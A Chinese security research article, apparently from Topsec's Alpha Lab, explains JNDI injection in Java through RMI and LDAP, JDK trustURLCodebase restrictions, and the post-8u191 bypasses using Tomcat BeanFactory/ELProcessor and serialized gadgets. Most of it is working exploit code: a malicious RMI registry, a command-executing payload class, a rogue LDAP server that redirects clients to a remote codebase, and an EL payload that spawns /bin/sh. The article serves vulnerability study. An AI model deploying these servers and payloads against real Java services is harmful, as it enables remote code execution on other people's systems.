作者: 天融信阿尔法实验室 原文链接: https://mp.weixin.qq.com/s/TJTOh0q0OY-j6msP6XSErg
在漏洞挖掘或利用的时候经常会遇见JNDI,本文会讲述什么是JNDI、JNDI中RMI的利用、LDAP的利用、JDK 8u191之后的利用方式。
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者:
JNDI客户端调用方式
//指定需要查找name名称 String jndiName= "jndiName"; //初始化默认环境 Context context = new InitialContext(); //查找该name的数据 context.lookup(jndiName);
这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。想了解RMI的可以看下这篇文章
攻击者代码
public static void main(String[] args) throws Exception { try { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); registry.bind("hello", refObjWrapper); } catch (Exception e) { e.printStackTrace(); } }
用web服务器来加载字节码,保存下面的这个java文件,用javac编译成.class字节码文件,在上传到web服务器上面。
import java.lang.Runtime; import java.lang.Process; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Calc implements ObjectFactory { { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/Calc2"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/Calc1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } public Calc() { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/Calc3"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/Calc4"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } return null; } }
被攻击者代码
public static void main(String[] args) { try { String uri = "rmi://127.0.0.1:1099/hello"; Context ctx = new InitialContext(); ctx.lookup(uri); } catch (Exception e) { e.printStackTrace(); } }
我这里使用jdk 1.8.0_102
版本运行之后,/tmp/目录下四个文件都会被创建,DEBUG看下原因。
javax.naming.InitialContext#getURLOrDefaultInitCtx
343行getURLScheme方法解析协议名称,在345行NamingManager.getURLContext方法返回解析对应协议的对象
com.sun.jndi.toolkit.url.GenericURLContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#lookup
这里会去RMI注册中心寻找hello对象,接着看下当前类的 decodeObject
方法
因为 ReferenceWrapper
对象实现了 RemoteReference
接口,所以会调用 getReference
方法会获取 Reference
对象
javax.naming.spi.NamingManager#getObjectFactoryFromReference
146行尝试从本地CLASSPATH获取该class,158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现
com.sun.naming.internal.VersionHelper12#loadClass
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true, cl); return cls; }
这里是通过URLClassLoader去加载远程类,此时观察web服务器日志会发现一条请求记录
因为static在类加载的时候就会执行,所以这里会执行 touch /tmp/Calc1
命令,ls查看下.
javax.naming.spi.NamingManager#getObjectFactoryFromReference
163行执行 clas.newInstance()
的时候,代码块和无参构造方法都会执行,此时 Calc2
和 Calc3
文件都会创建成功,ls看下
javax.naming.spi.NamingManager#getObjectInstance
321行会调用 getObjectInstance
方法,此时 Calc4
文件会被创建,ls看下
列下调用栈
getObjectInstance:321, NamingManager (javax.naming.spi) decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry) lookup:124, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:46, HelloClient
这里总结下,加载远程类的时候static静态代码块,代码块,无参构造函数和getObjectInstance方法都会被调用.
我把jdk换成 1.8.0_181
版本看下
直接运行会提示这样的一个错误
看下 com.sun.jndi.rmi.registry.RegistryContext.decodeObject
代码
354行var8是Reference对象,getFactoryClassLocation()方法是获取classFactoryLocation地址,这两个都不等于null,后面的trustURLCodebase取反,看下trustURLCodebase变量值
在当前类静态代码块定义了trustURLCodebase的值为false,那么这一个条件也成立,所以会抛出错误。
在jdk 8u121
7u131
6u141
版本开始默认com.sun.jndi.rmi.object.trustURLCodebase设置为false,rmi加载远程的字节码不会执行成功。
LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
攻击者代码
先下载 https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1 LDAP SDK依赖,然后启动LDAP服务
public class Ldap { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"}; int port = 0; if (args.length < 1 || args[0].indexOf('#') < 0) { System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$ System.exit(-1); } else if (args.length > 1) { port = Integer.parseInt(args[1]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor(URL cb) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
这里还是用上面RMI那里的web服务器来加载字节码
被攻击者代码
public static void main(String[] args) { try { String uri = "ldap://127.0.0.1:9999/calc"; Context ctx = new InitialContext(); ctx.lookup(uri); } catch (Exception e) { e.printStackTrace(); } }
这里使用jdk 1.8.0_181
版本运行之后,/tmp/目录下四个文件都会被创建,调用的过程和JNDI RMI那块一样的,先解析协议,获取ldap协议的对象,寻找Reference中的factoryName对象,先尝试本地加载这个类,本地没有这个类用URLClassLoader远程进行加载...
列下调用栈
loadClass:72, VersionHelper12 (com.sun.naming.internal) loadClass:87, VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) main:45, HelloClient
把JDK换成 1.8.0_241
版本运行看下,会发现/tmp/目录下的文件并没有创建成功,DEBUG看下.
com.sun.naming.internal.VersionHelper12#loadClass
101行判断了 trustURLCodebase
等于true才可以加载远程对象,而 trustURLCodebase
的默认值是false
在jdk 11.0.1
、 8u191
、 7u201
、 6u211
版本开始默认com.sun.jndi.ldap.object.trustURLCodebase设置为false,ldap加载远程的字节码不会执行成功。
在 jdk8u191
之后RMI和LDAP默认都不能从远程加载类,还是可以在RMI和LDAP中获取对象。在前面我们分析过 javax.naming.spi.NamingManager#getObjectFactoryFromReference
方法,会先从本地的CLASSPATH中寻找该类,如果没有才会去远程加载。之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。Michael Stepankin师傅在tomcat中找到 org.apache.naming.factory.BeanFactory#getObjectInstance
来进行利用。
tomcat jar下载地址 https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core/8.5.11
先看下poc
Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "/"/".getClass().forName(/"javax.script.ScriptEngineManager/").newInstance().getEngineByName(/"JavaScript/").eval(/"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()/")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("calc", referenceWrapper);
DEBUG看下漏洞原因
org.apache.naming.factory.BeanFactory#getObjectInstance
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { NamingException ne; try { Reference ref = (Reference)obj; // 获取到的是javax.el.ELProcessor String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { // 加载javax.el.ELProcessor类 beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { ... } if (beanClass == null) { throw new NamingException("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.newInstance(); //获取forceString属性的值{Type: forceString,Content: x=eval} RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap(); String value; String propName; int i; if (ra != null) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class[]{String.class}; String[] arr$ = value.split(","); i = arr$.length; for(int i$ = 0; i$ < i; ++i$) { String param = arr$[i$]; param = param.trim(); //(char)61的值是=,获取=在字符串的位置 int index = param.indexOf(61); if (index >= 0) { //eval propName = param.substring(index + 1).trim(); //x param = param.substring(0, index).trim(); } else { propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { //x=(ELProcessor.getMethod("eval",String[].class)) forced.put(param, beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { ... } } } Enumeration e = ref.getAll(); while(true) { ... // "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()") value = (String)ra.getContent(); Object[] valueArray = new Object[1]; //eval method... Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value; try { //反射执行ELProcessor.eval方法 method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName); } } else { ... } } } } } ... }
我在这个类上面加了一些注释,ELProcessor.eval()会对EL表达式进行处理,最后会执行。
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
com.sun.jndi.ldap.Obj#decodeObject
这里可以看到在LDAP中数据可以是序列化对象也可以是Reference对象。如果是序列化对象会调用deserializeObject方法
com.sun.jndi.ldap.Obj#deserializeObject
该方法就是把byte用ObjectInputStream对数据进行反序列化还原。那么传输序列化对象的payload,客户端在这里就会进行触发.
改造下LDAP SERVER即可
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { e.addAttribute("javaClassName", "foo"); //getObject获取Gadget e.addAttribute("javaSerializedData", serializeObject(getObject(this.cmd))); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
调用链
readObject:1170, Hashtable (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2232, ObjectInputStream (java.io) readOrdinaryObject:2123, ObjectInputStream (java.io) readObject0:1624, ObjectInputStream (java.io) readObject:464, ObjectInputStream (java.io) readObject:422, ObjectInputStream (java.io) deserializeObject:531, Obj (com.sun.jndi.ldap) decodeObject:239, Obj (com.sun.jndi.ldap) c_lookup:1051, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) main:43, HelloClient
JNDI注入漏洞很常见,在 fastjson
/ jackson
中会调用getter/setter方法,如果在getter/setter方法中存在lookup方法并且参数可控就可以利用,可以看下 jackson
的黑名单 https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java 来学习哪些类可以拿来JNDI注入。在 weblogic t3
协议中基于序列化数据传输,那么会自动调用readObject方法, weblogic
使用了 Spring
框架 JtaTransactionManager
类,这个类的readObject方法也存在JNDI注入调用链。
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://www.anquanke.com/post/id/201181
https://xz.aliyun.com/t/7264
https://xz.aliyun.com/t/6633
https://mp.weixin.qq.com/s/0LePKo8k7HDIjk9ci8dQtA